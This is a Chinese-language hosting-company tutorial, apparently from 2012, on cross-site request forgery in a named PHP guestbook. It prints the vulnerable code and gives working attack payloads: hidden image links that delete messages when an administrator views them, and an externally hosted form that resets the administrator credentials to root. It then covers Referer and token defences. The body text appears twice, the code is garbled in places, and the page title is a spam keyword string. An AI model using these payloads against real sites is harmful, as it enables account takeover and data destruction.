亚洲综合社区欧美综合色-欧美逼逼一区二区三区-国产老熟女高潮精品网站-国产日韩最新视频在线看

始創(chuàng)于2000年 股票代碼：831685
咨詢(xún)熱線：0371-60135900 注冊(cè)有禮 登錄
  • 掛牌上市企業(yè)
  • 60秒人工響應(yīng)
  • 99.99%連通率
  • 7*24h人工
  • 故障100倍補(bǔ)償
全部產(chǎn)品
您的位置： 網(wǎng)站首頁(yè) > 幫助中心>文章內(nèi)容

PHP漏洞全解-跨網(wǎng)站請(qǐng)求偽造
發(fā)布時(shí)間:  2012/5/18 18:57:12

CSRF(Cross Site Request Forgeries)，意為跨網(wǎng)站請(qǐng)求偽造，也有寫(xiě)為XSRF。攻擊者偽造目標(biāo)用戶(hù)的HTTP請(qǐng)求，然后此請(qǐng)求發(fā)送到有CSRF漏洞的網(wǎng)站，網(wǎng)站執(zhí)行此請(qǐng)求后，引發(fā)跨站請(qǐng)求偽造攻擊。攻擊者利用隱蔽的HTTP連接，讓目標(biāo)用戶(hù)在不注意的情況下單擊這個(gè)鏈接，由于是用戶(hù)自己點(diǎn)擊的，而他又是合法用戶(hù)擁有合法權(quán)限，所以目標(biāo)用戶(hù)能夠在網(wǎng)站內(nèi)執(zhí)行特定的HTTP鏈接，從而達(dá)到攻擊者的目的。

例如:某個(gè)購(gòu)物網(wǎng)站購(gòu)買(mǎi)商品時(shí)，采用http://www.shop.com/buy.php?item=watch&num=1，item參數(shù)確定要購(gòu)買(mǎi)什么物品，num參數(shù)確定要購(gòu)買(mǎi)數(shù)量，如果攻擊者以隱藏的方式發(fā)送給目標(biāo)用戶(hù)鏈接

，那么如果目標(biāo)用戶(hù)不小心訪問(wèn)以后，購(gòu)買(mǎi)的數(shù)量就成了1000個(gè)

實(shí)例

隨緣網(wǎng)絡(luò)PHP留言板V1.0

任意刪除留言

//delbook.php 此頁(yè)面用于刪除留言

  2. include_once("dlyz.php"); //dlyz.php用戶(hù)驗(yàn)證權(quán)限，當(dāng)權(quán)限是admin的時(shí)候方可刪除留言 
  3. include_once("../conn.php"); 
  4. $del=$_GET["del"]; 
  5. $id=$_GET["id"]; 
  6. if ($del=="data") 
  7. { 
  8.     $ID_Dele= implode(",",$_POST['adid']); 
  9.     $sql="delete from book where id in (".$ID_Dele.")"; 
  10.     mysql_query($sql); 
  11. } 
  12. else 
  13. { 
  14.     $sql="delete from book where id=".$id; //傳遞要?jiǎng)h除的留言ID 
  15.     mysql_query($sql); 
  16. } 
  17. mysql_close($conn); 
  18. echo ""; 
  19. echo "alert(‘刪除成功！’);"; 
  20. echo " location=’book.php’;"; 
  21. echo ""; 
  22. ?> 

當(dāng)我們具有admin權(quán)限，提交http://localhost/manage/delbook.php?id=2 時(shí)，就會(huì)刪除id為2的留言

利用方法:

我們使用普通用戶(hù)留言（源代碼方式），內(nèi)容為

  1. "delbook.php?id=2" /> 
  2. "delbook.php?id=3" /> 
  3. "delbook.php?id=4" /> 
  4. "delbook.php?id=5" /> 

插入4張圖片鏈接分別刪除4個(gè)id留言，然后我們返回首頁(yè)瀏覽看，沒(méi)有什么變化。。圖片顯示不了

現(xiàn)在我們?cè)儆霉芾韱T賬號(hào)登陸后，來(lái)刷新首頁(yè)，會(huì)發(fā)現(xiàn)留言就剩一條，其他在圖片鏈接中指定的ID號(hào)的留言，全部都被刪除。

攻擊者在留言中插入隱藏的圖片鏈接，此鏈接具有刪除留言的作用，而攻擊者自己訪問(wèn)這些圖片鏈接的時(shí)候，是不具有權(quán)限的，所以看不到任何效果，但是當(dāng)管理員登陸后，查看此留言，就會(huì)執(zhí)行隱藏的鏈接，而他的權(quán)限又是足夠大的，從而這些留言就被刪除了

修改管理員密碼

  1. //pass.php 
  2. if($_GET["act"]) 
  3. { 
  4.     $username=$_POST["username"]; 
  5.     $sh=$_POST["sh"]; 
  6.     $gg=$_POST["gg"]; 
  7.     $title=$_POST["title"]; 
  8.     $copyright=$_POST["copyright"]."
    設(shè)計(jì)制作：廈門(mén)隨緣網(wǎng)絡(luò)科技"    ; 
  9.     $password=md5($_POST["password"]); 
  10. if(emptyempty($_POST["password"])) 
  11. { 
  12.     $sql="update gly set username=’".$username."’,sh=".$sh.",gg=’".$gg."’,title=’".$title."’,copyright=’".$copyright."’ where id=1"; 
  13. } 
  14. else 
  15. { 
  16.     $sql="update gly set username=’".$username."’,password=’".$password."’,sh=".$sh.",gg=’".$gg."’,title=’".$title."’,copyright=’".$copyright."’ where id=1"; 
  17. } 
  18. mysql_query($sql); 
  19. mysql_close($conn); 
  20. echo ""; 
  21. echo "alert(‘修改成功！’);"; 
  22. echo " location=’pass.php’;"; 
  23. echo ""; 
  24. } 

這個(gè)文件用于修改管理密碼和網(wǎng)站設(shè)置的一些信息，我們可以直接構(gòu)造如下表單:

  1. <body> 
  2.     <form action="http://localhost/manage/pass.php?act=xg" method="post" name="form1" id="form1"> 
  3.     <input type="radio" value="1" name="sh"> 
  4.     <input type="radio" name="sh" checked value="0"> 
  5.     <input type="text" name="username" value="root"> 
  6.     <input type="password" name="password" value="root"> 
  7.     <input type="text" name="title" value="隨緣網(wǎng)絡(luò)PHP留言板V1.0(帶審核功能)" > 
  8.     <textarea name="gg" rows="6" cols="80" >歡迎您安裝使用隨緣網(wǎng)絡(luò)PHP留言板V1.0(帶審核功能)！textarea> 
  9.     <textarea name="copyright" rows="6" cols="80" >隨緣網(wǎng)絡(luò)PHP留言本V1.0 版權(quán)所有：廈門(mén)隨緣網(wǎng)絡(luò)科技 2005-2009<br/>承接網(wǎng)站建設(shè)及系統(tǒng)定制 提供優(yōu)惠主機(jī)域名textarea> 
  10.     form> 
  11. body> 

存為attack.html，放到自己網(wǎng)站上http://www.sectop.com/attack.html，此頁(yè)面訪問(wèn)后會(huì)自動(dòng)向目標(biāo)程序的pass.php提交參數(shù)，用戶(hù)名修改為root，密碼修改為root，然后我們?nèi)チ粞园灏l(fā)一條留言，隱藏這個(gè)鏈接，管理訪問(wèn)以后，他的用戶(hù)名和密碼全部修改成了root

防范方法

防范CSRF要比防范其他攻擊更加困難，因?yàn)镃SRF的HTTP請(qǐng)求雖然是攻擊者偽造的，但是卻是由目標(biāo)用戶(hù)發(fā)出的，一般常見(jiàn)的防范方法有下面幾種:

1、檢查網(wǎng)頁(yè)的來(lái)源

2、檢查內(nèi)置的隱藏變量

3、使用POST，不要使用GET

檢查網(wǎng)頁(yè)來(lái)源

在//pass.php頭部加入以下紅色字體代碼，驗(yàn)證數(shù)據(jù)提交

  1. if($_GET["act"]) 
  2. { 
  3.     if(isset($_SERVER["HTTP_REFERER"])) 
  4.     { 
  5.         $serverhost = $_SERVER["SERVER_NAME"]; 
  6.         $strurl = str_replace("http://","",$_SERVER["HTTP_REFERER"]); 
  7.         $strdomain = explode("/",$strurl); 
  8.         $sourcehost = $strdomain[0]; 
  9.     if(strncmp($sourcehost, $serverhost, strlen($serverhost))) 
  10.     {
  11.         unset($_POST); 
  12.         echo ""; 
  13.         echo "alert(‘數(shù)據(jù)來(lái)源異常!’);"; 
  14.         echo " location=’index.php’;";
  15.         echo ""; 
  16.      } 
  17.      } 
  18.     $username=$_POST["username"]; 
  19.     $sh=$_POST["sh"]; 
  20.     $gg=$_POST["gg"]; 
  21.     $title=$_POST["title"]; 
  22.     $copyright=$_POST["copyright"]."
    設(shè)計(jì)制作：廈門(mén)隨緣網(wǎng)絡(luò)科技"    ; 
  23.     $password=md5($_POST["password"]); 
  24.     if(emptyempty($_POST["password"])) 
  25.     { 
  26.         $sql="update gly set username=’".$username."’,sh=".$sh.",gg=’".$gg."’,title=’".$title."’,copyright=’".$copyright."’ where id=1"; 
  27.     } 
  28.     else 
  29.     { 
  30.         $sql="update gly set username=’".$username."’,password=’".$password."’,sh=".$sh.",gg=’".$gg."’,title=’".$title."’,copyright=’".$copyright."’ where id=1"; 
  31.     } 
  32. mysql_query($sql); 
  33. mysql_close($conn); 
  34. echo ""; 
  35. echo "alert(‘修改成功！’);"; 
  36. echo " location=’pass.php’;"; 
  37. echo ""; 
  38. } 

檢查內(nèi)置隱藏變量

我們?cè)诒韱沃袃?nèi)置一個(gè)隱藏變量和一個(gè)session變量，然后檢查這個(gè)隱藏變量和session變量是否相等，以此來(lái)判斷是否同一個(gè)網(wǎng)頁(yè)所調(diào)用

  1. php 
  2. include_once("dlyz.php"); 
  3. include_once("../conn.php"); 
  4. if($_GET["act"]) 
  5. { 
  6. if (!isset($_SESSION["post_id"])) 
  7. { 
  8. // 生成唯一的ID，并使用MD5來(lái)加密 
  9. $post_id = md5(uniqid(rand(), true)); 
  10. // 創(chuàng)建Session變量 
  11. $_SESSION["post_id"] = $post_id; 
  12. } 
  13. // 檢查是否相等 
  14. if (isset($_SESSION["post_id"])) 
  15. { 
  16. // 不相等 
  17. if ($_SESSION["post_id"] != $_POST["post_id"]) 
  18. { 
  19. // 清除POST變量 
  20. unset($_POST); 
  21. echo "<script language=’javascript’>"; 
  22. echo "alert(‘數(shù)據(jù)來(lái)源異常!’);"; 
  23. echo " location=’index.php’;"; 
  24. echo "script>"; 
  25. } 
  26. } 
  27. …… 
  28. <input type="reset" name="Submit2" value="重 置"> 
  29. <input type="hidden" name="post_id" value="php echo $_SESSION["post_id"];?>"> 
  30. td>tr> 
  31. table> 
  32. form> 
  33. php 
  34. } 
  35. mysql_close($conn); 
  36. ?> 
  37. body> 
  38. html> 

使用POST，不要使用GET

傳遞表單字段時(shí)，一定要是用POST，不要使用GET，處理變量也不要直接使用$_REQUEST


本文出自：億恩科技【1tcdy.com】
  • include_once("dlyz.php"); //dlyz.php用戶(hù)驗(yàn)證權(quán)限，當(dāng)權(quán)限是admin的時(shí)候方可刪除留言 
  • include_once("../conn.php"); 
  • $del=$_GET["del"]; 
  • $id=$_GET["id"]; 
  • if ($del=="data") 
  • { 
  • $ID_Dele= implode(",",$_POST['adid']); 
  • $sql="delete from book where id in (".$ID_Dele.")"; 
  • mysql_query($sql); 
  • } 
  • else 
  • { 
  • $sql="delete from book where id=".$id; //傳遞要?jiǎng)h除的留言ID 
  • mysql_query($sql); 
  • } 
  • mysql_close($conn); 
  • echo ""; 
  • echo "alert(‘刪除成功！’);"; 
  • echo " location=’book.php’;"; 
  • echo ""; 
  • ?> 

    • 當(dāng)我們具有admin權(quán)限，提交http://localhost/manage/delbook.php?id=2 時(shí)，就會(huì)刪除id為2的留言

    利用方法:

    我們使用普通用戶(hù)留言（源代碼方式），內(nèi)容為

    1. "delbook.php?id=2" /> 
    2. "delbook.php?id=3" /> 
    3. "delbook.php?id=4" /> 
    4. "delbook.php?id=5" /> 

    插入4張圖片鏈接分別刪除4個(gè)id留言，然后我們返回首頁(yè)瀏覽看，沒(méi)有什么變化。。圖片顯示不了

    現(xiàn)在我們?cè)儆霉芾韱T賬號(hào)登陸后，來(lái)刷新首頁(yè)，會(huì)發(fā)現(xiàn)留言就剩一條，其他在圖片鏈接中指定的ID號(hào)的留言，全部都被刪除。

    攻擊者在留言中插入隱藏的圖片鏈接，此鏈接具有刪除留言的作用，而攻擊者自己訪問(wèn)這些圖片鏈接的時(shí)候，是不具有權(quán)限的，所以看不到任何效果，但是當(dāng)管理員登陸后，查看此留言，就會(huì)執(zhí)行隱藏的鏈接，而他的權(quán)限又是足夠大的，從而這些留言就被刪除了

    修改管理員密碼

    1. //pass.php 
    2. if($_GET["act"]) 
    3. { 
    4.     $username=$_POST["username"]; 
    5.     $sh=$_POST["sh"]; 
    6.     $gg=$_POST["gg"]; 
    7.     $title=$_POST["title"]; 
    8.     $copyright=$_POST["copyright"]."
      設(shè)計(jì)制作：廈門(mén)隨緣網(wǎng)絡(luò)科技"      ; 
    9.     $password=md5($_POST["password"]); 
    10. if(emptyempty($_POST["password"])) 
    11. { 
    12.     $sql="update gly set username=’".$username."’,sh=".$sh.",gg=’".$gg."’,title=’".$title."’,copyright=’".$copyright."’ where id=1"; 
    13. } 
    14. else 
    15. { 
    16.     $sql="update gly set username=’".$username."’,password=’".$password."’,sh=".$sh.",gg=’".$gg."’,title=’".$title."’,copyright=’".$copyright."’ where id=1"; 
    17. } 
    18. mysql_query($sql); 
    19. mysql_close($conn); 
    20. echo ""; 
    21. echo "alert(‘修改成功！’);"; 
    22. echo " location=’pass.php’;"; 
    23. echo ""; 
    24. } 

    這個(gè)文件用于修改管理密碼和網(wǎng)站設(shè)置的一些信息，我們可以直接構(gòu)造如下表單:

    1. <body> 
    2.     <form action="http://localhost/manage/pass.php?act=xg" method="post" name="form1" id="form1"> 
    3.     <input type="radio" value="1" name="sh"> 
    4.     <input type="radio" name="sh" checked value="0"> 
    5.     <input type="text" name="username" value="root"> 
    6.     <input type="password" name="password" value="root"> 
    7.     <input type="text" name="title" value="隨緣網(wǎng)絡(luò)PHP留言板V1.0(帶審核功能)" > 
    8.     <textarea name="gg" rows="6" cols="80" >歡迎您安裝使用隨緣網(wǎng)絡(luò)PHP留言板V1.0(帶審核功能)！textarea> 
    9.     <textarea name="copyright" rows="6" cols="80" >隨緣網(wǎng)絡(luò)PHP留言本V1.0 版權(quán)所有：廈門(mén)隨緣網(wǎng)絡(luò)科技 2005-2009<br/>承接網(wǎng)站建設(shè)及系統(tǒng)定制 提供優(yōu)惠主機(jī)域名textarea> 
    10.     form> 
    11. body> 

    存為attack.html，放到自己網(wǎng)站上http://www.sectop.com/attack.html，此頁(yè)面訪問(wèn)后會(huì)自動(dòng)向目標(biāo)程序的pass.php提交參數(shù)，用戶(hù)名修改為root，密碼修改為root，然后我們?nèi)チ粞园灏l(fā)一條留言，隱藏這個(gè)鏈接，管理訪問(wèn)以后，他的用戶(hù)名和密碼全部修改成了root

    防范方法

    防范CSRF要比防范其他攻擊更加困難，因?yàn)镃SRF的HTTP請(qǐng)求雖然是攻擊者偽造的，但是卻是由目標(biāo)用戶(hù)發(fā)出的，一般常見(jiàn)的防范方法有下面幾種:

    1、檢查網(wǎng)頁(yè)的來(lái)源

    2、檢查內(nèi)置的隱藏變量

    3、使用POST，不要使用GET

    檢查網(wǎng)頁(yè)來(lái)源

    在//pass.php頭部加入以下紅色字體代碼，驗(yàn)證數(shù)據(jù)提交

    1. if($_GET["act"]) 
    2. { 
    3.     if(isset($_SERVER["HTTP_REFERER"])) 
    4.     { 
    5.         $serverhost = $_SERVER["SERVER_NAME"]; 
    6.         $strurl = str_replace("http://","",$_SERVER["HTTP_REFERER"]); 
    7.         $strdomain = explode("/",$strurl); 
    8.         $sourcehost = $strdomain[0]; 
    9.     if(strncmp($sourcehost, $serverhost, strlen($serverhost))) 
    10.     {
    11.         unset($_POST); 
    12.         echo ""; 
    13.         echo "alert(‘數(shù)據(jù)來(lái)源異常!’);"; 
    14.         echo " location=’index.php’;";
    15.         echo ""; 
    16.      } 
    17.      } 
    18.     $username=$_POST["username"]; 
    19.     $sh=$_POST["sh"]; 
    20.     $gg=$_POST["gg"]; 
    21.     $title=$_POST["title"]; 
    22.     $copyright=$_POST["copyright"]."
      設(shè)計(jì)制作：廈門(mén)隨緣網(wǎng)絡(luò)科技"      ; 
    23.     $password=md5($_POST["password"]); 
    24.     if(emptyempty($_POST["password"])) 
    25.     { 
    26.         $sql="update gly set username=’".$username."’,sh=".$sh.",gg=’".$gg."’,title=’".$title."’,copyright=’".$copyright."’ where id=1"; 
    27.     } 
    28.     else 
    29.     { 
    30.         $sql="update gly set username=’".$username."’,password=’".$password."’,sh=".$sh.",gg=’".$gg."’,title=’".$title."’,copyright=’".$copyright."’ where id=1"; 
    31.     } 
    32. mysql_query($sql); 
    33. mysql_close($conn); 
    34. echo ""; 
    35. echo "alert(‘修改成功！’);"; 
    36. echo " location=’pass.php’;"; 
    37. echo ""; 
    38. } 

    檢查內(nèi)置隱藏變量

    我們?cè)诒韱沃袃?nèi)置一個(gè)隱藏變量和一個(gè)session變量，然后檢查這個(gè)隱藏變量和session變量是否相等，以此來(lái)判斷是否同一個(gè)網(wǎng)頁(yè)所調(diào)用

    1. php 
    2. include_once("dlyz.php"); 
    3. include_once("../conn.php"); 
    4. if($_GET["act"]) 
    5. { 
    6. if (!isset($_SESSION["post_id"])) 
    7. { 
    8. // 生成唯一的ID，并使用MD5來(lái)加密 
    9. $post_id = md5(uniqid(rand(), true)); 
    10. // 創(chuàng)建Session變量 
    11. $_SESSION["post_id"] = $post_id; 
    12. } 
    13. // 檢查是否相等 
    14. if (isset($_SESSION["post_id"])) 
    15. { 
    16. // 不相等 
    17. if ($_SESSION["post_id"] != $_POST["post_id"]) 
    18. { 
    19. // 清除POST變量 
    20. unset($_POST); 
    21. echo "<script language=’javascript’>"; 
    22. echo "alert(‘數(shù)據(jù)來(lái)源異常!’);"; 
    23. echo " location=’index.php’;"; 
    24. echo "script>"; 
    25. } 
    26. } 
    27. …… 
    28. <input type="reset" name="Submit2" value="重 置"> 
    29. <input type="hidden" name="post_id" value="php echo $_SESSION["post_id"];?>"> 
    30. td>tr> 
    31. table> 
    32. form> 
    33. php 
    34. } 
    35. mysql_close($conn); 
    36. ?> 
    37. body> 
    38. html> 

    使用POST，不要使用GET

    傳遞表單字段時(shí)，一定要是用POST，不要使用GET，處理變量也不要直接使用$_REQUEST


    本文出自：億恩科技【1tcdy.com】
    -->

    服務(wù)器租用/服務(wù)器托管中國(guó)五強(qiáng)！虛擬主機(jī)域名注冊(cè)頂級(jí)提供商！15年品質(zhì)保障！--億恩科技[ENKJ.COM]
  • 您可能在找
  • 億恩北京公司：
  • 經(jīng)營(yíng)性ICP/ISP證：京B2-20150015
    •
  • 億恩鄭州公司：
  • 經(jīng)營(yíng)性ICP/ISP/IDC證：豫B1.B2-20060070
    •
  • 億恩南昌公司：
  • 經(jīng)營(yíng)性ICP/ISP證：贛B2-20080012
    •
  • 服務(wù)器/云主機(jī) 24小時(shí)售后服務(wù)電話：0371-60135900
  • 虛擬主機(jī)/智能建站 24小時(shí)售后服務(wù)電話：0371-60135900
    •
    專(zhuān)注服務(wù)器托管17年
    掃掃關(guān)注-微信公眾號(hào)
    0371-60135900
    Copyright© 1999-2019 ENKJ All Rights Reserved 億恩科技 版權(quán)所有　 地址：鄭州市高新區(qū)翠竹街1號(hào)總部企業(yè)基地億恩大廈　 法律顧問(wèn)：河南亞太人律師事務(wù)所郝建鋒、杜慧月律師   京公網(wǎng)安備41019702002023號(hào)
      1
     
     
     
     

    0371-60135900
    7*24小時(shí)客服服務(wù)熱線